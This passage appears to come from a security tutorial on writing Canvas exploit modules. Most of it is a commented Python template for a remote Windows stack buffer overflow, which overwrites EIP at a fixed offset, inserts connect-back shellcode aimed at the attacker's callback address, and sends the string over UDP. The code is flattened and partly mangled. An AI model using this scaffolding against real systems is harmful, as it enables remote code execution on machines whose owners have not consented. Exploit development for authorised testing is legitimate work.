Canvas is a good framework for exploit creation and testing because it provides several tools (such as for payload creation and protocol structure) while leaving you the full flexibility of a Python script. The easiest way to write Canvas modules is by looking at existing modules. Find an attack module similar to what you want to do (FTP, HTTP, MsRPC, SunRPC) and modify it to achieve the new attack. To integrate it correctly in the GUI, your exploits must be placed in /[canvas path]
/exploits/[exploit name]
/[exploit name]
.py.
Here's a commented Canvas template to explain the lines of code and illustrate how an exploit is written:
#!/usr/bin/env python # # Canvas Simple exploit template # #http://www.immunityinc.com/CANVAS/ for more information import sys # Import needed library sys.path.append(".") sys.path.append("../../") sys.path.append('../../encoder') sys.path.append('./encoder') sys.path.append("../../shellcode") sys.path.append("./shellcode") sys.path.append("../../gui") sys.path.append("./gui") import os,getopt import socket from exploitutils import * import addencoder import win32shell from tcpexploit import tcpexploit import canvasengine from canvasengine import socket_save_list import time import shellcodeGenerator ## Description of the exploit. NAME="Template exploit" DESCRIPTION="A template exploit for the canvas framework" DOCUMENTATION={} DOCUMENTATION["Repeatability"]="This is a one shot exploit." VERSION="1.0" GTK2_DIALOG="dialog.glade2" # Property table.. telling what kind is this module what it does affect. PROPERTY = {} PROPERTY['TYPE'] = "Exploit" PROPERTY['SITE'] = "Remote" PROPERTY['ARCH'] = [ ["Windows"] ] PROPERTY['VERSION'] = [ "NT", "2000", "XP", "2003" ] NOTES=""" A Template for creating Canvas exploit module. """ CHANGELOG=""" """ runAnExploit_gtk2=canvasengine.runAnExploit_gtk2 runExploit=canvasengine.runExploit class theexploit(tcpexploit): def __init_ _(self): tcpexploit.__init_ _(self) self.port=41524 #destination port self.host="" self.shellcode="\xcc" * 298 # initialize shell code string. self.badstring="\x00" # List of char not allowed in the final shellcode self.ssl=0 # is it over SSL self.setVersions( ) self.version= self.name=NAME return def displayVersions(self): for v in self.versions.keys( ): print "Version %d: %s"%(v,self.versions[v][0]) # Define all the different affected versions and the need address. def setVersions(self): self.versions={} # Operation Name & version, jmp esp self.versions[1]=("Windows 2000 sp2",0x20c01496) self.versions[2]=("Windows 2000 sp4",0xdeadbeef) # Define the type of OS on the target, for the multi stage call back. def neededListenerTypes(self): return [canvasengine.WIN32MOSDEF] # Create the shellcode given the parameter. def createShellcode(self): host=self.callback.ip # the call back ip (you) port=self.callback.port # The call back port return self.createWin32Shellcode(self.badstring,host,port) def test(self): """ This section is used to do a test run of the exploit without actually sending a valid payload It could be banner check or behavior check to ensure that we are going to attack a vul nerable target """ self.host=self.target.interface self.port=int(self.argsDict.get("port",self.port)) self.log("%s testing host %s:%s"%(self.name,self.host,self.port)) s=self.getudpsock( ) s.set_timeout(4) try: s.connect((self.host, self.port)) except: self.log("No connection could be established") return 0 s.send("AAAA") # send a payload that should return a banner or any feedback try: data=s.recv(100) except timeoutsocket.Timeout,m: self.log("Nothing returned - but we'll assume vulnerable! ") self.version=1 #default version return 1 except: self.log("Connection refused") return 0 self.log("Received: %s"%prettyprint(data)) self.version=1 #default version return 1 def run(self): """ Sending the exploit. This part need to be crafted to ensure that the attack string wil l reach its destination. """ self.host=self.target.interface self.port=int(self.argsDict.get("port",self.port)) self.setInfo("%s attacking %s:%d (in progress)"%(NAME,self.host,self.port)) """ This next if is used for automatic versioning of the exploit, either by banner check o r other means. """ if self.version==0: self.log("Automatic versioning not enabled.") self.setInfo("%s attacking %s:%d - done (success!)"%(NAME,self.host,self.port)) return 0 self.log("Attacking %s:%d"%(self.host,self.port)) sploitstring=self.makesploit( ) s=self.getudpsock( ) s.connect((self.host, self.port)) s.send(sploitstring) # send the exploit string. time.sleep(2) if self.ISucceeded( ): self.setInfo("%s attacking %s:%d - done (success!)"%(NAME,self.host,self.port)) return 1 else: self.setInfo("%s attacking %s:%d - done (failed)"%(NAME,self.host,self.port)) return 0 def makesploit(self): """ Construct the attack string that will trigger the bug. """ geteip=self.versions[self.version][1] ret="A"*4096 ret=stroverwrite(ret,intel_order(geteip),968) #place eip in the string ret=stroverwrite(ret,self.shellcode,1100) # insert the shellcode in the string. if len(ret)>4096: self.log("Shellcode too long! len(ret)=%d"%(len(ret))) ret="" #no overflow. return ret if __name__ == '__main_ _': print "Running CANVAS %s Exploit v %s"%(DESCRIPTION,VERSION) app = theexploit( ) ret=standard_callback_commandline(app)